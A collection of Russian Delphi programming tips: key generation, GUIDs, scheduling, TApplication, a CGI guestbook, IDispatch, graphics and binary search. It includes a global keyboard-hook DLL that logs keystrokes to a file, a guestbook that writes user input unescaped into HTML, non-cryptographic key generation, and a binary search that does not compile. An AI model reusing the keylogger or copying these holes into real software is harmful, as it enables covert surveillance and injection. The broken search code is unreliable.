nyuuzyou/wikis huggingface dataset:
Генерация 96-битного ключа для шифрования с помощью Encrypt()

{ **** UBPFD *********** by kladovka.net.ru ****
>> Генерация 96-битного ключа для шифрования с помощью Encrypt()
Генерация 96-битного ключа для шифрования Encrypt()
Зависимости: System
Автор: kronprince, kronprince@mail.ru, ICQ:119018798, Полтава
Copyright: © kronprince - собственная разработка
Дата: 23 июня 2003 г.
********************************************** }
// Генерация 96-битного ключа для шифрования Encrypt()
procedure GenerateKey96(var StartKey, MultKey, AddKey: Integer);
var
 i: Integer;
 a: array[1..12]of Byte;
 procedure FillKey(var VarKey: Integer; index: Integer);
 var
 j: Integer;
 begin
 for j := 0 to SizeOf(VarKey)-1 do
 VarKey := VarKey or a[index + j] shl (8 * j);
 end;
begin
 System.Randomize();
 // Это непосредственно типа случайная генерация :)
 for i := Low(a) to High(a) do
 a[i] := System.Random(High(byte));
 // А тут распихивание по ключевым полям с соответствующей стартовой позиции
 FillKey(StartKey, 1);
 FillKey(MultKey, 5);
 FillKey(AddKey, 9);
end;
Пример использования:
GenerateKey96(StartKey, MultKey, AddKey);
Encrypt(S, StartKey, MultKey, AddKey);
Author: kronprince
ID: 03993
Category:Алгоритмы
Category:Шифрование
Генерация GUID как строки

=== Генерация GUID как строки ===
Как в Run-time сгененрировать строку типа 
'{821AB2C7-559D-48E0-A3EE-6DD50E83234C}'
Типа как в среде при нажатии Ctrl-Shift-G. Функция CoCreateGuid выводит значение типа TGUID, я нигде не нашёл функции конвертации TGUID -> String. Может кто знает такую функцию? 
Author: Vit (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org)
Source: Взято с Vingrad.ru http://forum.vingrad.ru
ID: 00138
----
Есть такая функция. Как ни странно называется она GUIDToString(), и живет в SysUtils. 
Author: Fantasist
Source: Взято с Vingrad.ru http://forum.vingrad.ru
ID: 00139
----
Можно GUIDToString написать и вручную, будет выглядеть примерно так:
procedure TForm1.Button1Click(Sender: TObject);
var
 G: TGUID;
 S: string;
 i: Integer;
begin
 CoCreateGuid(G);
 S := '{' + IntToHex(G.D1, 8) + '-' + IntToHex(G.D2, 4) + '-' + IntToHex(G.D3, 4) + '-';
 for i := 0 to 7 do
 begin
 S := S + IntToHex(G.D4[i], 2);
 if i = 1 then S := S + '-'
 end;
 S := S + '}';
 ShowMessage(GUIDToString(G) + #13 + S)
end;
Author: Jin X
ID: 00140
Генерация еженедельных списков задач

=== Генерация еженедельных списков задач ===
Мне необходима программа, которая генерировала бы еженедельные списки задач. Программа должна просто показывать количество недель в списке задач и организовывать мероприятия, не совпадающие по времени. В моем текущем планировщике у меня имеется 12 групп и планы на 11 недель. 
Мне нужен простой алгоритм, чтобы решить эту проблему. Какие идеи? 
Вот рабочий код (но вы должны просто понять алгоритм работы):
unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 StdCtrls;
type
 TForm1 = class(TForm)
 ListBox1: TListBox;
 Edit1: TEdit;
 Button1: TButton;
 procedure Button1Click(Sender: TObject);
 private
 { Private declarations }
 public
 { Public declarations }
 end;
var
 Form1: TForm1;
implementation
{$R *.DFM}
const
 maxTeams = 100;
var
 Teams: array[1..maxTeams] of integer;
 nTeams, ix, week, savix: integer;
function WriteBox(week: integer): string;
var
 str: string;
 ix: integer;
begin
 Result := Format('Неделя=%d ', [week]);
 for ix := 1 to nTeams do
 begin
 if odd(ix) then
 Result := Result + ' '
 else
 Result := Result + 'v';
 Result := Result + IntToStr(Teams[ix]);
 end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 nTeams := StrToInt(Edit1.Text);
 if Odd(nTeams) then
 inc(nTeams); {должны иметь номера каждой группы}
 ListBox1.Clear;
 for ix := 1 to nTeams do
 Teams[ix] := ix;
 ListBox1.Items.Add(WriteBox(1));
 for week := 2 to nTeams - 1 do
 begin
 Teams[1] := Teams[nTeams - 1];
 {используем Teams[1] в качестве временного хранилища}
 for ix := nTeams downto 2 do
 if not Odd(ix) then
 begin
 savix := Teams[ix];
 Teams[ix] := Teams[1];
 Teams[1] := savix;
 end;
 for ix := 3 to nTeams - 1 do
 if Odd(ix) then
 begin
 savix := Teams[ix];
 Teams[ix] := Teams[1];
 Teams[1] := savix;
 end;
 Teams[1] := 1; {восстанавливаем известное значение}
 ListBox1.Items.Add(WriteBox(week));
 end;
end;
end. 
Source: http://delphiworld.narod.ru
ID: 00774
Глобальный класс TApplication

=== Глобальный класс TApplication ===
Предлагаю вам ознакомиться с приведенной таблицей событий этого объекта:
События 	Возникает
OnActionExecute: TActionEvent	Происходит при вызове метода Execute перед обработкой списка событий.
OnActionUpdate: TNotifyEvent 	Происходит при вызове метода Update;
OnActivate: TNotifyEvent 	При переходе приложения в активное состояние.
OnDeactivate:TNotifyEvent 	При переключении на другое приложение Windows
OnException: TExceptionEvent 	При возникновении исключительной ситуации
OnHelp: THelpEvent 	При запросе приложением справочной системы.
OnHint: TNotifyEvent 	При перемещении мыши над компонентом, у которого есть строка подсказки (Hint)
OnIdle: TNotifyEvent 	При отсутствии работы у приложения
OnMessage: TMessageEvent 	При получении сообщения Windows
OnMinimize: TNotifyEvent 	При минимизации приложения
OnRestore: TNotifyEvent 	При восстановлении приложения в нормальный размер
OnShowHint: TShowHintEvent 	При выводе строки подсказки (Hint)
Для примера хочу предложить вам пример программы, которая при простое увеличивает счетчик на единицу, а при нажатии клавиши перестает это делать. Поставьте на форму одну кнопку и метку. Свойство Caption метки должно быть равно '0';
unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 StdCtrls;
type
TForm1 = class(TForm)
 Button1: TButton;
 Label1: TLabel;
 procedure Button1Click(Sender: TObject);
private
 { Private declarations }
 procedure Count(Sender: TObject; var Done: Boolean);
 procedure Stop(var Msg: TMsg; var Handled: Boolean);
public
 { Public declarations }
end;
var
 Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Count;
begin
 Label1.Caption := IntToStr(StrToInt(Label1.Caption) + 1); // увеличиваем счетчик
 Done := False;
end;
procedure TForm1.Stop(var Msg: TMsg; var Handled: Boolean);
begin
 if Msg.Message = WM_KEYDOWN then 
 begin // нажата любая клавиша
 Application.OnMessage := nil; // сообщение не обрабатывать
 Application.OnIdle := nil; // Отменить фоновую работу
 Handled := True; // сообщение обработано
 end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 Application.OnIdle := Count; // процедура обработки простоя
 Application.OnMessage := Stop; // процедура обработки сообщений
end;
end.
Еще у объекта TApplication есть ряд полезных свойств. Их названия и смысл приведены в таблице.
Свойство 	Описание
HelpFile: String 	Имя файла контекстной помощи, которое используется приложением
Hint: String 	Строка подсказки
HintHidePause: Integer 	Время, в течении которого подсказка будет отображаться. По умолчанию 2500 мсек.
HintPause: Integer 	Время, через которое подсказка появится при перемещении курсора над объектом. По умолчанию 500 мсек.
HintShortPause: Integer	Используется для уменьшения мерцания курсора при перемещении мыши над объектом. По умолчанию 50 мсек.
ShowHint: Boolean 	Разрешает выводить подсказку для всего приложения (по умолчанию). Установив в False, вы запретите вывод подсказок для всего приложения
Author: Михаил Христосенко
Source: Development и Дельфи (http://delphid.dax.ru/)
ID: 00413
== См. также ==
* Работа с TApplication
Глобальный объект Clipboard

=== Глобальный объект Clipboard ===
Последний глобальный объект, который мы рассмотрим в этой статье будет объект Clipboard, необходимый для работы с буфером обмена. Для того, чтобы начать работу с этим объектом, необходимо в разделе Uses указать модуль Clipbrd. У этого объекта всего три свойства:
AsText: string 	Используется для обмена информацией в текстовом виде.
FormatCount: integer 	Содержит общее число форматов, которые находятся в буфере обмена в данный момент.
Formats [Index: Integer]: Word	Содержит значения идентификаторов формата, Index[0..FormatCount-1].
Например, чтобы при загрузке программы, в Memo помещался текст из буфера обмена, в обработчике формы OnCreate, нужно написать следующее:
 Memo1.Text := Clipboard.AsText; 
Для работы с буфером обмена существует ряд методов. Для очистки буфера используется метод Clear, для того, чтобы поместить в буфер изображение (*.BMP или *.WMF) нужно воспользоваться методом Assign (Source: TPersistent). 
Author: Михаил Христосенко
Source: Development и Дельфи (http://delphid.dax.ru/)
ID: 00329
Глобальный объект Screen

=== Глобальный объект Screen ===
Этот объект инкапсулирует свойства дисплея. У него очень много свойств, но мы посмотрим только некоторые из них. Вам, наверно, часто приходилось встречать такую вещь: когда программа выполняет какую-нибудь долгую операцию, курсор над формой изменяет свой вид, а потом, когда операция выполнена, становится нормальным. Чтобы реализовать эту штуку, нам придется воспользоваться свойством Cursor, объекта Screen. Это свойство отвечает за вид курсора над вашим приложением. Тогда общий вид какой-нибудь процедуры может быть таким:
try
 Screen.Cursor := crHourGlass;
 { какие-нибудь длинные операции или вычисления }
finally
 Screen.Cursor := crDefault;
end;
Также с помощью объекта Screen можно узнать параметры монитора. Свойства Width и Height указывают на ширину и высоту монитора соответственно. А свойство PixelPerInch - число точек на дюйм.
Как получить список всех шрифтов, о потом занести их в Combobox?? Такой вопрос, наверно, не раз задавали себе начинающие программисты, делая текстовые редакторы. Все очень просто, достаточно воспользоваться свойством Fonts. Записав эту строку в обработчике OnCreate для вашей формы, вы получите Combo со списком шрифтов, установленных у вас в системе:
Combobox1.Items := Screen.Fonts; 
Author: Михаил Христосенко
Source: Development и Дельфи (http://delphid.dax.ru/)
ID: 00328
Глобальный хук на клавиатуру

=== Глобальный хук на клавиатуру ===
library Hook;
uses
 Windows, SysUtils;
const
 KF_UP_MY = $40000000;
var
 CurrentHook: HHook;
 KeyArray: array[0..19] of Char;
 KeyArrayPtr: Integer;
 CurFile: Text;
function GlobalKeyboardHook(code, wParam, lParam: Integer): LongWord; stdcall;
var
 i: Integer;
begin
 if code < 0 then
 begin
 Result := CallNextHookEx(CurrentHook, code, wParam, lParam);
 Exit;
 end;
 if ((lParam and KF_UP_MY) = 0) and (wParam >= 65) and (wParam <= 90) then
 begin
 KeyArray[KeyArrayPtr] := Char(wParam);
 KeyArrayPtr := KeyArrayPtr + 1;
 if KeyArrayPtr > 19 then
 begin
 for i := 0 to 19 do
 begin
 Assignfile(CurFile, 'd:\log.txt');
 if not FileExists('d:\log.txt') then
 Rewrite(CurFile)
 else
 Append(CurFile);
 Write(Curfile, KeyArray[i]);
 CloseFile(CurFile);
 end;
 KeyArrayPtr := 0;
 end;
 end;
 CallNextHookEx(CurrentHook, code, wParam, lParam);
 Result := 0;
end;
procedure SetupGlobalKeyboardHook();
begin
 CurrentHook := SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyboardHook, HInstance, 0);
 KeyArrayptr := 0;
end;
procedure UnHook;
begin
 UnhookWindowsHookEx(CurrentHook);
end;
exports
 SetupGlobalKeyboardHook,
 UnHook;
begin
end.
Source: http://delphiworld.narod.ru/
ID: 02225
Глюк при запуске приложений через ShellListView

=== Глюк при запуске приложений через ShellListView ===
Для правки данного глюка необходимо изменить следующую процедуру в исходном коде данного компонента:
procedure TCustomShellListView.DblClick;
begin
 if FAutoNavigate and (Selected <> nil) then
 with Folders[Selected.Index] do
 if IsFolder then
 SetPathFromID(AbsoluteID)
 else
 ShellExecute(Handle, nil, PChar(PathName), nil,
 PChar(ExtractFilePath(PathName)), 0); 
 inherited DblClick;
end;
на вот такую:
procedure TCustomShellListView.DblClick;
begin
 if FAutoNavigate and (Selected <> nil) then
 with Folders[Selected.Index] do
 if IsFolder then
 SetPathFromID(AbsoluteID)
 else
 ShellExecute(Handle, 'open', PChar(PathName), nil,
 PChar(ExtractFilePath(PathName)), SW_SHOW);
 inherited DblClick;
end;
PS: SW_HIDE = 0 
Author: Rouse_
Source: Взято из http://forum.sources.ru
ID: 01327
Гостевая книга

Подлинный CGI пример: приложение - гостевая книга (в котором спрашиваем имя и небольшой комментарий), всего лишь несколько строк на Дельфи.
Сначала CGI форма:
<HTML>
<BODY>
<H2>Dr.Bob's Guestbook</H2>
<FORM ACTION="http://www.drbob42.com/cgi-bin/guest.exe" METHOD=POST
Name: <INPUT TYPE=text NAME=name<BR>
Comments: <TEXTAREA COLS=42 LINES=4 NAME=comments>
<P>
<INPUT TYPE=SUBMIT VALUE="Send Comments to Dr.Bob">
</FORM>
</BODY>
</HTML>
Теперь консольное (Дельфи) приложение:
program CGI;
{$I-}
{$APPTYPE CONSOLE}
uses
 DrBobCGI;
var
 guest: Text;
 Str: String;
begin
 Assign(guest, 'guest'); // assuming that's the guestbook
 Append(guest);
 if IOResult <> 0 then // open new guestbook
 begin
 Rewrite(guest);
 WriteLn(guest, '<HTML>');
 WriteLn(guest, '<BODY>')
 end;
 WriteLn(guest, 'Date: ', DateTimeToStr(Now), '<BR>');
 WriteLn(guest, 'Name: ', Value('name'), '<BR>');
 WriteLn(guest, 'Comments: ', Value('comments'), '<HR>');
 Reset(guest);
 WriteLn('Content-type: text/html');
 WriteLn;
 while not eof(guest) do // now output guestbook itself
 begin
 ReadLn(guest, Str);
 WriteLn(Str)
 end;
 Close(guest);
 WriteLn('</BODY>');
 WriteLn('</HTML>')
end.
Примечание, для того, что бы упростить, мы не используем базу данных для хранения комментариев. Иначе это потребовало установки BDE на web сервере.
Source: Интернет решения от доктора Боба (http://www.drbob42.com)
Author: (c) 2000, Анатолий Подгорецкий, перевод на русский язык (http://nps.vnet.ee/ftp)
ID: 03439
Category:Связь
Category:Web
Групповые операции с контролами

=== Групповые опперации с контролами ===
Если например эти 10 CheckBox все время используются для групповых операций, чтобы не перебирать компоненты можно сделать так.
1) Берем ставим на форму 10 CheckBox
2) объявляем массив
var arr: array[1..10] of TCheckBox
3) Далее присваиваем указатели массиву:
for i := 1 to 10 do
 arr[i] := FindComponent(Format('CheckBox%d', [i])) as TCheckBox;
Все, теперь к каждому CheckBox можно обратится как к элементу массива:
 arr[5].Checked := True;
Так как здесь массив статический никаких действий по освобождению памяти делать не надо, по уничтожении компонентов деструктором формы элементы массива будут показывать в никуда. В любом случае этот массив занимает в памяти 40 байт - не большая плата за скорость и удобство.
Author: Vit (Vitaly Nevzorov) (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org)
Source: Взято с Vingrad.ru http://forum.vingrad.ru
ID: 00355
Дает ли Delphi возможность корректно прервать выполнение SQL-запроса (BDE)?

=== Дает ли Delphi возможность корректно прервать выполнение SQL-запроса (BDE)? ===
Дает ли Delphi возможность корректно прервать выполнение SQL-запроса к серверу Oracle с помощью BDE? Например, чтобы при использовании с SQL Plus после отправки SQL-запроса на выполнение на экране появлялось окно с кнопкой Cancel, которое давало бы возможность в любой момент прервать выполнение этого запроса?
Насколько мне известно, для этой цели лучше всего использовать функции Oracle Call Interface (низкоуровневый API Oracle). В комплекте поставки Oracle есть соответствующие примеры для C, и переписать их на Pascal несложно.
Некоторые драйверы SQL Link позволяют прекратить выполнение запроса, если время его выполнения превышает заранее заданное значение (параметр MAX QUERY TIME соответствующего драйвера). Однако драйвер ORACLE, к сожалению, в их число не входит.
Author: Наталия Елманова
Source: Взято из http://forum.sources.ru
ID: 02549
Дайте теоретическое объяснение типу IDispatch

Идентификатор интерфейса тип IDispatch, используемый для связи с объектом. Для создания объектов COM, не использующих интерфейс IDispatch, надо использовать функцию CreateComObject.
Русскими словами:
 varDispatch $0009 ссылка на автоматический объект (указатель на интерфейс IDispatch)
Author: Snick_Y2K
Source: Vingrad.ru http://forum.vingrad.ru
ID: 04336
----
"Тип IDispatch" - не звучит. Ты бы сказал, в каком контексте.
Вообще, IDispatch - это интерфейс. Если ты заглянешь в System.pas, ты найдешь его делфийское описание:
IDispatch = interface
Это интерфейс используется для обеспечения "позднего связывания" в COM, то есть вызовов методов(и использования property) когда на момент компиляции их имена не известны. Например:
var
 v: Variant;
begin
 v := CreateOleObject("Excel.Appication");
 v.Quit;
end;
Как тут вызывается метод Quit? Ведь компилятор совершенно ничего не знает об этом методе, ровно как и о том, что содержится в переменно v. На самом деле, одна эта строчка транслируется компилятором в набор примерно таких вызовов:
var
 v: Variant;
begin
 v := CreateOleObject("Excel.Appication");
 if TVarData(v).vtType = vtIDispatch then
 begin
 pseudo_compiler_generated_IDispatch: IDispatch = TVarData(v).varIDispatch // указатель на интерфейс IDispatch
 cpl_gen_DispID: Integer;
 pseudo_compiler_generated_IDispatch.GetIDsOfNames('Quit', 1, cpl_gen_DispID); // получаем числовой индефикатор имени "Quit"
 pseudo_compiler_generated_IDispatch.Invoke(cpl_gen_DispID, ....); // вызывает метод по индификатору.
 end;
end;
Если использовать IDispatch вместо Variant, то все это можно написать самому:
var
 Disp: IDispatch;
 DispID: Integer;
begin
 Disp := CreateOleObject("Excel.Appication");
 Disp.GetIDsOfNames('Quit', 1, DispID); // получаем числовой идентификатор имени "Quit"
 Disp.Invoke(DispID, ....); // вызывает метод по идентификатору.
end;
Author: Fantasist
Source: Vingrad.ru http://forum.vingrad.ru
ID: 04337
Category:COM
Дата в SQL запросах в MS Access

=== Дата в SQL запросах в MS Access ===
Для дат используйте #:
SELECT Students.Name, Students.BirthDate, Teachers.Name
FROM Teachers
INNER JOIN Students ON Students.TeacherID=Teachers.ID
WHERE Students.BirthDate BETWEEN #09/02/87# AND #01/01/00#
Author: Vit (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org)
ID: 02750
Двигаем крестик для показа значений X/Y

// TPanel, TImage e TLabel components
// Insert Image into Panel...
private
 BmpH, BmpV: TBitmap;
 OldX, OldY: Integer;
end;
var
 RectSaved: Boolean = False;
procedure TFormMain.FormCreate(Sender: TObject);
begin
 PanelImage.DoubleBuffered := True; // This prevents that the image is blinking
 LabelHint.Transparent := True;
 LabelHint.Font.Color := clNave;
end;
procedure TFormMain.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
 Cross(X, Y);
end;
procedure TFormMain.Cross(X, Y: Integer);
begin
 Image.Canvas.Pen.Color := clBlack;
 // Restore last image to erase line
 if RectSaved then
 begin
 Image.Canvas.CopyRect(Rect(OldX - 5, 0, OldX + 5, BmpV.Height),
 BmpV.Canvas, Rect(0, 0, BmpV.Width, BmpV.Height));
 Image.Canvas.CopyRect(Rect(0, OldY - 5, BmpH.Width, OldY + 5),
 BmpH.Canvas, Rect(0, 0, BmpH.Width, BmpH.Height));
 BmpH.Free;
 BmpV.Free;
 end;
 // Now save the image at new position for each line
 // horizontal line
 BmpH := TBitmap.Create;
 BmpH.Width := Image.Width;
 BmpH.Height := 10;
 BmpH.Canvas.CopyRect(Rect(0, 0, BmpH.Width, BmpH.Height),
 Image.Canvas,Rect(0, Y - 5, BmpH.Width, Y + 5));
 // Vertical line
 BmpV := TBitmap.Create;
 BmpV.Width := 10;
 BmpV.Height := Image.Height;
 BmpV.Canvas.CopyRect(Rect(0, 0, BmpV.Width, BmpV.Height),
 Image.Canvas,Rect(X - 5, 0, X + 5, BmpV.Height));
 // Now draw the current position
 Image.Canvas.MoveTo(0, Y);
 Image.Canvas.LineTo(Image.Width, Y);
 Image.Canvas.MoveTo(X, 0);
 Image.Canvas.LineTo(X, Image.Height);
 RectSaved := true;
 OldX := X;
 OldY := Y;
 LabelHint.Left := X + 36;
 LabelHint.Top := Y - 15;
 LabelHint.Caption := '(X:' + IntToStr(X) + ' x Y:' + IntToStr(Y) +')';
end;
Source: http://www.swissdelphicenter.ch/en/tipsindex.php
ID: 03737
Category:Графика
Category:Рисование
Движение окружности

unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ExtCtrls;
type
 TForm1 = class(TForm)
 Timer1: TTimer;
 procedure FormActivate(Sender: TObject);
 procedure Timer1Timer(Sender: TObject);
 private
 { Private declarations }
 public
 { Public declarations }
 end;
var
 Form1: TForm1;
 x, y: Byte; // координаты центра окружности
 dx: Byte; // приращение координаты x при движении окружности
implementation
{$R *.dfm}
procedure TForm1.FormActivate(Sender: TObject);
begin
 x := 0;
 y := 10;
 dx := 5;
 Timer1.Interval := 50; // период возникновения события OnTimer - 0.5 сек
 Form1.Canvas.Brush.Color := Form1.Color;
end;
procedure Ris;
begin
 // стереть окружность
 Form1.Canvas.Pen.Color := Form1.Color;
 Form1.Canvas.Ellipse(x, y, x + 10, y + 10);
 x := x + dx;
 // нарисовать окружность на новом месте
 Form1.Canvas.Pen.Color := clBlack;
 Form1.Canvas.Ellipse(x, y, x + 10, y + 10);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
 Ris;
end;
end.
Source: http://delphiworld.narod.ru/
ID: 03738
Category:Графика
Category:Рисование
Двоичный (бинарный) поиск элемента в массиве

Если у нас есть массив, содержащий упорядоченную последовательность данных, то очень эффективен двоичный поиск.
Переменные Lb и Ub содержат, соответственно, левую и правую границы отрезка массива, где находится нужный нам элемент. Мы начинаем всегда с исследования среднего элемента отрезка. Если искомое значение меньше среднего элемента, мы переходим к поиску в верхней половине отрезка, где все элементы меньше только что проверенного. Другими словами, значением Ub становится (M - 1) и на следующей итерации мы работаем с половиной массива. Таким образом, в результате каждой проверки мы вдвое сужаем область поиска. Так, в нашем примере, после первой итерации область поиска - всего лишь три элемента, после второй остается всего лишь один элемент. Таким образом, если длина массива равна 6, нам достаточно трех итераций, чтобы найти нужное число.
Двоичный поиск - очень мощный метод. Если, например, длина массива равна 1023, после первого сравнения область сужается до 511 элементов, а после второй - до 255. Легко посчитать, что для поиска в массиве из 1023 элементов достаточно 10 сравнений.
Кроме поиска бывает нужно вставлять и удалять элементы. К сожалению, массив плохо приспособлен для выполнения этих операций. О повышении эффективности операций вставки/удаления можно прочитать в разделе про структуры данных.
function BinarySearch(A: array of Integer; Lb, Ub, Key: Integer): Integer;
begin
 while True do
 begin
 Result := (Lb + Ub) div 2;
 if (Key < A[Result]) then
 Ub := M - 1
 else if (Key > A[Result]) then
 Lb := Result + 1;
 else
 Exit;
 if (Lb > Ub) then
 begin
 Result := -1;
 Exit;
 end;
 end;
end;
Source: http://algolist.manual.ru
ID: 04189
Category:Алгоритмы